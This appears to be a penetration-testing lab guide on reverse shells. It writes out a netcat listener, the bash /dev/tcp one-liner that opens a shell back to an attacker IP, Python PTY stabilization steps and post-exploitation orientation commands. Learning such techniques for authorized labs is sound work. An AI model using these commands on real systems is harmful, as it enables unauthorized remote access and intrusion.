Reverse Shells & Shell Stabilization
Concept
A reverse shell makes the target connect back to an attacker-controlled listener, bypassing inbound firewall rules. Once caught, the raw shell is usually unstable (no job control, broken arrow keys, dies on Ctrl+C) and must be upgraded to a full TTY for comfortable use.
When to Use
- You have a code-execution primitive (RCE, command injection, upload-to-exec) and need an interactive shell.
- Immediately after any exploit that grants arbitrary command execution.
Workflow
- 1Start a listener on your machine
netcat on a chosen port.
- 2Trigger the payload on the target
Via the vulnerability (RCE, upload, injection).
- 3Catch the connection
Confirm you have a shell as the service user.
- 4Stabilize the TTY
python pty + stty raw for full terminal features.
- 5Background and treat as a normal shell
Begin privilege escalation enumeration.
Commands
nc -lvnp PORTnc -lvnp 4444
Starts a netcat listener on your attacking machine, waiting for the target to connect back.
-l— Listen mode.-v— Verbose — show connection info.-n— No DNS resolution (faster, avoids hangs).-p PORT— Local port to listen on.
When to use: Always start the listener BEFORE triggering the payload.
Expected output:
listening on [any] 4444 ... connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 51722
Look for: A successful 'connect to' line — if nothing appears, the payload didn't fire or is blocked.
Next step: You now have a shell; proceed to stabilization.
bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
Classic bash reverse-shell one-liner using /dev/tcp (built into bash, no netcat needed on target).
When to use: When the target has bash but no netcat, and you have a way to execute an arbitrary command string.
Expected output:
Connection appears on your listener; you land in the target's shell.
Look for: Immediate disconnect usually means the exploit shell lacks /dev/tcp (dash/sh instead of bash) — try a different payload.
Next step: Stabilize the TTY once connected.
python3 -c "import pty; pty.spawn('/bin/bash')"python3 -c "import pty; pty.spawn('/bin/bash')"Run inside the raw reverse shell to spawn a proper pseudo-terminal, enabling tab-completion, arrow keys, and Ctrl+C handling.
When to use: Immediately after catching any raw netcat shell.
Expected output:
Shell prompt reappears, now behaving like a real TTY.
Look for: Still missing job control fully until you background it and fix terminal settings (next step).
Next step: Background with Ctrl+Z, then on your own terminal: stty raw -echo; fg; then export TERM=xterm and reset.
Tools
Netcat (nc)
Generic TCP/UDP listener/client; the standard reverse/bind shell catcher.
When to use: Default listener for any reverse shell payload.
nc -lvnp PORTExample workflow: Listener up -> trigger payload -> stabilize caught shell.
Pwncat / rlwrap
Wraps a raw listener with readline support (history, arrow keys) without needing full PTY stabilization.
When to use: Quick comfort upgrade when you don't want to run the Python PTY trick.
sudo apt install rlwraprlwrap nc -lvnp PORTExample workflow: Start listener wrapped in rlwrap before triggering payload.
Findings & Interpretation
Interesting
- Shell running as a service account with useful group memberships (docker, adm, sudo)
Suspicious
- Shell dies instantly after connecting — may indicate a very short-lived process or output buffering issue
How to Validate
- Run 'id' and 'whoami' immediately to confirm the user context before doing anything else
Next Step
- Run 'id', 'uname -a', 'cat /etc/os-release' to orient yourself.
- Move straight into Linux Privilege Escalation enumeration.
Troubleshooting
Listener never receives a connection.
Likely cause: Wrong IP/port in payload, outbound firewall on target blocking the port, or payload simply didn't execute.
Verify: Double-check YOUR_IP is the VPN/tun0 interface IP, not localhost; confirm the triggering request actually returned a success response.
Fix: Try a common allowed port (443, 80) instead of an arbitrary high port; confirm with 'ip a' which interface the lab VPN assigned.
Recovery: Re-trigger the payload after fixing IP/port; check for syntax errors from shell quoting if the payload came from a URL parameter.
Avoid repeating: Always verify your own tun0/VPN IP with 'ip a' before building the payload — using the wrong interface is the most common cause.
Shell catches, but Ctrl+C kills the whole session instead of the foreground command.
Likely cause: No real PTY — it's a raw pipe, not a terminal.
Verify: Run 'tty' — 'not a tty' confirms the raw-shell state.
Fix: Run the python3 pty.spawn stabilization sequence.
Recovery: If the shell already died, re-catch it and stabilize before running anything risky.
Avoid repeating: Stabilize immediately after every catch, before running further commands.